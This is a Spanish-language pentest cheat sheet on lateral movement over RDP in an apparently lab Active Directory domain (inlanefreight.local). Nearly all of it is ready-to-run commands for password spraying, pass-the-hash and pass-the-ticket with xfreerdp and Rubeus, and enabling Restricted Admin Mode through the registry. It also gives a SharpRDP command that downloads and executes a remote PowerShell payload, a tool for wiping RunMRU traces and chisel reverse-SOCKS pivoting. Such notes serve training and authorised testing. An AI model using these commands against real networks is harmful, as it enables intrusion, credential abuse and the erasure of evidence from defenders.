Skip to content

Lateral Movement — Remote Desktop Protocol (RDP)

Herramientas


Requisitos de acceso

Por defecto solo pueden conectarse via RDP los miembros de Administrators o Remote Desktop Users. Un administrador puede agregar otros usuarios o grupos. Como estos permisos son locales, solo se pueden enumerar si tienes derechos de admin en el host objetivo.

Puerto por defecto: 3389/TCP. Los admins pueden cambiarlo.


Enumeración y Password Spray

c
# Detectar RDP en la red
nmap -p 3389 -sV 172.20.0.0/24

# Probar credenciales contra RDP con NetExec
netexec rdp 10.129.229.0/24 -u helen -p 'RedRiot88' -d inlanefreight.local

# Password spray con lista de usuarios
netexec rdp 172.20.0.0/24 -u users.txt -p 'Password123' -d inlanefreight.local

# Pass the Hash via RDP con NetExec
netexec rdp 172.20.0.0/24 -u helen -H 62EBA30320E250ECA185AA1327E78AEB -d inlanefreight.local

(Pwn3d!) indica que el usuario tiene derechos de RDP, no necesariamente admin local.


Conexión desde Linux

Básico

c
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux

/drive:.,linux redirige el filesystem local al host remoto, útil para transferir herramientas.

Optimizado para conexiones lentas o via proxy

c
xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache
/bpp:8          → reduce profundidad de color (menos datos)
/compression    → comprime el tráfico
-themes         → desactiva temas del escritorio
-wallpaper      → desactiva el fondo
/clipboard      → comparte portapapeles
/audio-mode:0   → desactiva audio
/auto-reconnect → reconexión automática si cae
-glyph-cache    → cachea caracteres de texto

Conexión desde Windows

c
mstsc.exe

Restricted Admin Mode

Modo que realiza un Network Logon en lugar de Interactive Logon, evitando que las credenciales queden cacheadas en el host remoto. Solo aplica a administradores.

Aunque previene el cacheo de credenciales, habilita Pass the Hash y Pass the Ticket via RDP.

Verificar si está habilitado

c
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
Valor 0     → Restricted Admin Mode HABILITADO
Valor 1     → Restricted Admin Mode DESHABILITADO
Key no existe → DESHABILITADO

Habilitar / Deshabilitar

c
# Habilitar (requiere admin local)
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

# Deshabilitar
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 1 /t REG_DWORD

Pass the Hash via RDP

Desde Linux con xfreerdp

c
# Sin proxy
xfreerdp /u:helen /pth:62EBA30320E250ECA185AA1327E78AEB /d:inlanefreight.local /v:172.20.0.52

# Via proxychains (cuando hay pivoting)
proxychains4 -q xfreerdp /u:helen /pth:62EBA30320E250ECA185AA1327E78AEB /d:inlanefreight.local /v:172.20.0.52

Desde Windows con Rubeus + mstsc

c
# Paso 1 — Crear proceso sacrificial con contexto limpio
.\Rubeus.exe createnetonly /program:powershell.exe /show

# Paso 2 — En la nueva ventana, importar TGT con el hash
.\Rubeus.exe asktgt /user:helen /rc4:62EBA30320E250ECA185AA1327E78AEB /domain:inlanefreight.local /ptt

# Paso 3 — Conectar via RDP con el ticket importado
mstsc.exe /restrictedAdmin

Pass the Ticket via RDP

Mismo flujo que Pass the Hash pero con un ticket .kirbi ya existente:

c
# Importar ticket al proceso sacrificial
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Conectar
mstsc.exe /restrictedAdmin

SharpRDP — Ejecución de comandos sin GUI

Permite ejecutar comandos via RDP sin necesitar cliente gráfico ni proxy SOCKS. Usa mstscax.dll internamente.

c
# Ejecutar comando en host remoto
.\SharpRDP.exe computername=srv01 command="whoami" username=inlanefreight\helen password=RedRiot88

# Ejecutar payload via PowerShell
.\SharpRDP.exe computername=srv01 command="powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.207/s')" username=inlanefreight\helen password=RedRiot88

Límite: 259 caracteres en el comando.

Limpiar rastros de SharpRDP (RunMRU)

SharpRDP deja rastros en HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Limpiar con CleanRunMRU:

c
# Compilar desde código fuente
wget -Uri http://<IP>/CleanRunMRU/Program.cs -OutFile CleanRunMRU.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\CleanRunMRU.cs

# Limpiar todos los registros
.\CleanRunMRU.exe clearall

Pivoting para alcanzar hosts en otros segmentos

Cuando el host objetivo está en un segmento de red diferente, configurar un proxy SOCKS con chisel:

c
# En Linux — levantar servidor chisel
./chisel server --reverse

# En el host pivot (Windows) — conectar al servidor
.\chisel.exe client <IP_LINUX>:8080 R:socks

# Configurar proxychains en /etc/proxychains.conf
socks5 127.0.0.1 1080

# Usar proxychains para alcanzar el host objetivo
proxychains4 -q xfreerdp /u:helen /pth:<hash> /d:inlanefreight.local /v:172.20.0.52

Ventajas de RDP para lateral movement

RDP es una opción atractiva porque el tráfico es común en entornos empresariales y no levanta sospechas, no requiere privilegios de admin para conectarse (basta con ser miembro de Remote Desktop Users), y proporciona acceso persistente y una sesión interactiva completa con transferencia de archivos y portapapeles.


Enumeración de miembros del grupo Remote Desktop Users

c
# Desde Windows (requiere admin)
Get-NetLocalGroupMember -ComputerName SRV01 -GroupName "Remote Desktop Users"

# Via NetExec
netexec smb 172.20.0.52 -u helen -p 'RedRiot88' --local-groups "Remote Desktop Users"